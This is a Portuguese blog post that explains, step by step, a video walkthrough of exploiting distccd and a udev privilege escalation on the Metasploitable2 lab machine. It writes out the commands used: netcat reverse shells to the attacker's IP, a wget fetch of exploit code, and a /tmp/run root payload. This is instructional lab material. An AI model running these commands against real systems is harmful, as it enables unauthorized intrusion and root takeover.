Analisando o vídeo: Metasploitable 2 Distccd Exploit and Privilege Escalation
Autor: Osvaldo | Publicado: 2013-01-29T15:49:00-03:00

No projeto Metasploitable2 tem uma
falha do Distccd que escuta na porta 3632/TCP, essa falha já pode ser explorada
usando o Metasploit (use exploit/unix/misc/distcc_exec).



Usando o Metasploit tudo é mais
fácil e bem flexível, dependendo da sua necessidade é uma ótima opção. O que
mais me chama atenção não é o simples fato de explorar a falha e conseguir um
shell, e sim entender como tudo funciona, a técnica, as habilidades
necessárias, entre outras coisas.



Navegando pela Internet encontrei um
vídeo que mostra como explorar esta falha de uma maneira diferente, mais
trabalhosa é claro, mas que vale apena analisar. A proposta aqui não é mostrar
o que fazer, porque isso já se tem no vídeo, e sim de maneira clara e direta
tentar explicar o porquê de tais passos. Primeiramente recomendo que você veja
o vídeo:








Antes de começarmos veja abaixo o cenário
criado no vídeo:











Passo 1



Foi usado a ferramenta nmap para
tentar obter a versão do Sistema Operacional (-O) e a versão dos serviços (-sV)
que poderão estar escutando entre as portas 1 e 65535 (-p1-65535) da máquina
192.168.2.58 (Metasploitable2). Podemos ver que o resultado do comando mostra
que a porta 3632/TCP esta aberta e mostra também a versão do Distccd.




Passo 2



Nessa etapa ele mencionou que iria
fazer uma busca na base de exploits usando como palavra-chave
"distcc", como podemos ver não foi isso que foi feito. Se essa busca
fosse realizada retornaria dois exploits que pertence ao projeto Metasploit,
como não é o nosso foco usar o Metasploit então não serve. Outra coisa que deve
ser observado é que esta etapa não deveria acontecer nesse momento, e sim só
depois de já ter invadido o servidor, onde em seguida ele buscaria alguma
brecha no sistema para elevar seus privilégios. Vamos fazer assim, digamos que
ele ainda não realizou essa etapa e no momento certo a executaremos.




Passo 3



Bom, só para deixar claro esse seria
o nosso segundo passo apesar de estar passo 3. Primeiramente vamos falar do
script do Nmap. Esse script detecta e explora a vulnerabilidade do Distccd e
pode ser usado para executar algum comando na máquina alvo, foi exatamente isso
que foi feito com a opção:




--script-args="distcc-exec.cmd='nc
-e /bin/bash 192.168.2.41 6676'".&nbsp;

Neste caso o comando nc é executado, a opção -e indica o que
deverá ser executado depois que a conexão é estabelecida, neste caso a nossa
shell (/bin/bash). Neste cenário temos uma conexão reversa, mas para funcionar
temos que executar o comando nc em um terminal da máquina de IP 192.168.2.41 (BackTrack)
para escutar na porta 6676, assim a máquina alvo vai se conectar na nossa máquina
pela porta 6676. Abra outro terminal e execute o comando abaixo:



#nc -vnlp 6676



Agora só é executar o comando nmap
abaixo:



#nmap
-p 3632 192.168.2.58 --script distcc-cve2004-2687
--script-args="distcc-exec.cmd='nc -e /bin/bash 192.168.2.41 6676'"




E na tela onde executou o nc para
escutar na porta 6676 é só executar qualquer comando do linux. No vídeo ele
executa o “uname”, para obter informações do sistema e depois executa o comando
“id”, para ver suas permissões no sistema, neste caso uid=1 (daemon) que é um
usuário sem privilégios.




Passo 4



Lembra do passo 2? Agora chegou a
hora dele. Já conseguimos invadir o sistema e sabemos que não somos root,
próximo passo escalar privilégio, ou seja, vamos virar root na máquina. Existem
vários programas que agilizam este processo, não vou detalhar aqui isso, faça
uma busca pelo Google. Com informações sobre o sistema podemos buscar por
exploits conhecidos, neste caso sabemos que se trata do Metasploitable2, sendo
assim é um Ubuntu 8.04 que por padrão vem com o distcc vulnerável (http://www.ubuntu.com/usn/usn-758-1/),
tendo essas informações vamos realizar o que seria nosso passo 2.




Ele buscou na base de exploits se
tem algo para o udev:

#cd
/pentest/exploits/exploitdb

#./searchsploit
udev linux local




Retornou duas opções, neste caso ele
usou o segundo exploit (8572.c). Próximo passo seria copiar esse arquivo para a
máquina alvo, para isso ele copiou o exploit para dentro do /var/ww renomeando
para udev.c. Esse diretório é padrão do Apache Linux, que esta rodando no
backtrack. Executando o wget (wget http://192.168.2.41/udev.c) na conexão
reversa ele consegue baixar este arquivo para dentro da máquina vulnerável e
compila (gcc udev.c -o udev) o mesmo.





Antes de continuarmos quero esclarecer
algo para que ninguém fique confuso. Até aqui ele já conseguiu invadir a
máquina, o problema é que essa conexão foi estabelecida sem privilégios, ou
seja, ele não é root. O que ele esta tentando agora é explorar uma falha do
udev (http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1185) para virar
root no sistema, para isso ele carregou um exploit na máquina alvo e vai
executar esse exploit. Lendo o exploit (8572.c) podemos ver o que é preciso
para ele funcionar, veja o que esta escrito entre as linhas 27 e 31:




&nbsp;*&nbsp;&nbsp; Pass the PID of the udevd netlink socket
(listed in /proc/net/netlink, 

&nbsp;*&nbsp;&nbsp; usually is the udevd PID minus 1) as
argv[1].

&nbsp;*

&nbsp;*&nbsp;&nbsp; The exploit will execute /tmp/run as root so
throw whatever payload you 

&nbsp;*&nbsp;&nbsp;
want in there.




Essas informações são fundamentais
para que o exploit funcione. Podemos ver que o exploit vai executar com
permissões de root o arquivo que será criado (/tmp/run), e recomenda que nosso
payload seja colocado nesse arquivo. 





Ele executou o nc no backtrack para
escutar na porta 1234, o payload que ele carrega vai se conectar nessa porta. A
seguência de comandos abaixo serviu para ele criar o payload (/tmp/run):




echo
"#!/bin/sh" &gt; /tmp/run

echo
"/bin/netcat -e /bin/sh 192.168.2.41 1234" &gt;&gt; /tmp/run

chmod +x /tmp/run




obs: esses comandos foram executados
na janela onde esta rodando a conexão reversa, esse arquivo tem que ser criado
na máquina alvo.





Na linha 27 do código fonte do
exploit diz que é preciso encontrar o PID do udevd e executar o exploit
diminuindo esse valor por 1. Primeiro ele executou "ps aux | grep
udev" e viu que o PID é 2717, em seguida ele executou o exploit (./udev
2716). Pronto temos nossa conexão reversa com permissão de root.




Passo 5


Ele executou um comando em python (python
-c 'import pty; pty.spawn("/bin/bash")'), para que possamos entender esse
comando vamos primeiro falar de PTY.




Um pty é um pseudoterminal - simula
ao programa que esta anexado um terminal, em vez de se comunicar diretamente
com um terminal ele transfere a entrada e saída para outro programa. Por
exemplo, quando você executa um "ls" dentro de uma conexão ssh, o
comando "ls" envia sua saída para um pseudo terminal, do outro lado,
que esta acessando o servidor SSHD. O PTY nos permite conectar numa shell de
forma remota onde podemos executar comandos. Normalmente se usa esse comando em
python quando é gerado um erro ao tentar executar alguns comandos, como su, ssh
ou login. Esse comando gera um shell anexando uma PTY. Ele não precisaria disso
porquê qualquer comando já seria executado como root, mas poderia ser um
problema se fosse preciso executar outros comandos.




Pronto.
Espero que tenham gostado.